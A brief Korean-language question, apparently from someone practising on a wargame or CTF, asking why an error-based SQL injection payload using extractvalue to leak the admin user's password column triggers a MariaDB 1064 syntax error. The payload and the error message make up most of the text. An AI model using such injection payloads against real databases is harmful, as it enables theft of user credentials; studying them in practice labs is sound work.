1' and extractvalue(1, concat(0x0a, select upw from user where uid='admin'));

admin의 upw를 출력하기 위해 이런 식으로 코드를 작성했습니다

하지만, sql syntax 에러가 발생합니다

어디가 잘못되었는지 모르겠습니다

-에러-

(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'SELECT upw FROM user WHERE uid='admin'));'' at line 1")